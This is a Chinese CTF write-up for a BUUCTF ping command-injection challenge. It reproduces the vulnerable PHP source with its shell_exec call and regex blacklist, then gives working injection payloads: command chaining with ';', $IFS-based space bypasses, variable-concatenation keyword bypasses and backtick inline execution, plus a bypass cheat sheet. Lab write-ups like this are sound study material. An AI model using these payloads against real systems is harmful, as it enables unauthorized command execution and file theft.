题目链接:BUUCTF在线评测
一、知识点
1.Linux基础知识
2.PHP代码审计
3.关键字绕过
4.Shell基础知识
二、解题过程
1.打开题目链接,页面显示如下
2.显示的内容有点像GET请求的参数,尝试将127.0.0.1(本机地址)输入URL中,有回显并能够ping通,且显示的次数为5次,猜测在Linux中执行的命令如下:
ping -c 5 "IP地址"
在Linux中尝试:
3.尝试在执行ping命令后执行其他命令,用";"连接不同命令,回显得到当前目录下有flag.php文件
http://abb001e1-0ed1-42e1-88b7-5bf55dfb0401.node4.buuoj.cn:81/?ip=127.0.0.1;ls
4.尝试查看flag.php文件,发现空格、flag关键字和其他许多符号都被屏蔽了
http://abb001e1-0ed1-42e1-88b7-5bf55dfb0401.node4.buuoj.cn:81/?ip=127.0.0.1;ls;cat flag.php
5.查看index.php源码(需要绕过空格,空格也被屏蔽了)
页面代码如下:
if(isset($_GET['ip'])){ // 检查是否存在名为 'ip' 的GET参数
$ip = $_GET['ip']; // 获取GET参数 'ip' 的值
// 使用正则表达式匹配特殊字符,并将匹配结果存储在 $match 变量中
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
// 如果匹配到特殊字符,输出匹配结果,并终止脚本执行
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){ // 检查是否包含空格字符
// 如果包含空格字符,输出错误消息,并终止脚本执行
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){ // 检查是否包含字符串 "bash"
// 如果包含字符串 "bash",输出错误消息,并终止脚本执行
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ // 检查是否包含字符串 "flag"
// 如果包含字符串 "flag",输出错误消息,并终止脚本执行
die("fxck your flag!");
}
// 执行ping命令,并将结果存储在变量 $a 中
$a = shell_exec("ping -c 4 ".$ip);
// 输出ping命令的结果
echo "<pre>";
print_r($a);
}
第一个正则表达式用来匹配一些特殊字符
/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/
\&: 匹配 & 符号
\/: 匹配 / 符号
\?: 匹配 ? 符号
\*: 匹配 * 符号
\<: 匹配 < 符号
[\x{00}-\x{1f}]: 匹配ASCII码值在0到31之间的控制字符(使用Unicode编码)
\>: 匹配 > 符号
\': 匹配单引号 '
\": 匹配双引号 "
\\: 匹配反斜杠 \
\(: 匹配左括号 (
\): 匹配右括号 )
\[: 匹配左方括号 [
\]: 匹配右方括号 ]
\{: 匹配左大括号 {
\}: 匹配右大括号 }
第四个正则表达式用来匹配flag
/.*f.*l.*a.*g.*/
只要字符串中出现"f"、"l"、"a"、"g"四个字母就会被匹配到,无论它们的顺序如何,例如:
fretr\\lteg16a13wetg、或者g\\a123\l7rt\f
6.尝试拼接绕过"flag"关键字(即使成功绕过flag也不会在前端显示web,而是隐藏在HTML代码中)
http://abb001e1-0ed1-42e1-88b7-5bf55dfb0401.node4.buuoj.cn:81/?ip=127.0.0.1;x=lag;cat$IFS$1f$x.php
三、Linux知识补充
1.命令串联
在Linux中,常常使用分号 (;)进行命令的串联,还可以使用逻辑与 (&&
) 和逻辑或 (||
) 连接多个命令。
ls;pwd;cat passwd.txt //使用;串联Linux命令
逻辑与 (&&
):当使用 &&
连接两个命令时,第二个命令只有在第一个命令执行成功的情况下才会执行。
ls && pwd
ls&&pwd //也可以不用空格隔开
逻辑或 (||
):当使用 ||
连接两个命令时,第二个命令只有在第一个命令执行失败的情况下才会执行。
2.空格绕过
常用的空格绕过
${IFS}: 表示内部字段分隔符(Internal Field Separator),通常包含空格、制表符和换行符。
在命令替换中,可以使用${IFS}来代替空格
${IFS}$1:${IFS}$1 结合了 ${IFS} 和 $1,其中 $1 是脚本或函数的第一个参数。这种技巧通常用于处理传递给脚本的文件名参数中包含空格的情况
$IFS$1:$IFS$1 将 $IFS 和 $1 直接连接在一起,没有空格分隔。这种用法通常用于命令替换中。大部分情况下和${IFS}$1是等价的
有些文章说是$IFS$9或者${IFS}$9,我也不太懂shell,不知道$1和$9有什么含义
<和<>
{cat,flag}
%20替换
%0a (换行)
%0d (回车)
%09 (tab)
3.拼接
a=g;cat${IFS}$1fla$a; //相当于:cat flag
-
a=g;
:这是一个赋值操作,将变量a
的值设置为字符串g
。 -
cat fla$a;
:这部分命令尝试使用cat
命令显示文件fla
和变量a
的值所组成的文件。具体来说,它尝试显示fla
后面跟着变量a
的值(在这个例子中是g
)的文件内容。
这个命令在执行时,cat
命令会尝试查找并显示一个文件,文件名是 fla
后面跟着变量 a
的值,即 fla
+ g
。这个命令中的 $a
会被解释为变量 a
的值,而不是 $a
这个字符串。如果在当前目录下存在一个名为 flag
的文件,那么这个命令会尝试显示 flag
文件的内容。如果 flag
文件不存在,或者不具有读取权限,cat
命令会产生错误消息。在Shell编程中,如果有多个赋值,可以在一行上使用分号 ;
来分隔它们。例如,a=lag;b=txt;cat f$a.$b
等价于 a=flag;b=txt;cat f$a.$b。如果有题目屏蔽了某些Linux命令,例如cat,也可以用这种方法绕过
a=c;b=at;c=flag;$a$b $c,常用于黑名单绕过
4.内联执行
内联绕过就是将反引号内命令的输出结果作为另一个命令的输入来执行,比如系统对flag字符进行了过滤,但是单独使用ls命令时又会回显出index.php和flag.php文件,那么我们可以通过ls命令将index.php和flag.php作为输入,通过cat查看两个文件获取flag,而不用输入cat flag.php触发关键词
payload:
?ip=127.0.0.1;cat${IFS}$1`ls` //执行该条命令会同时输出index.php和flag.php的内容
//相当于cat `ls`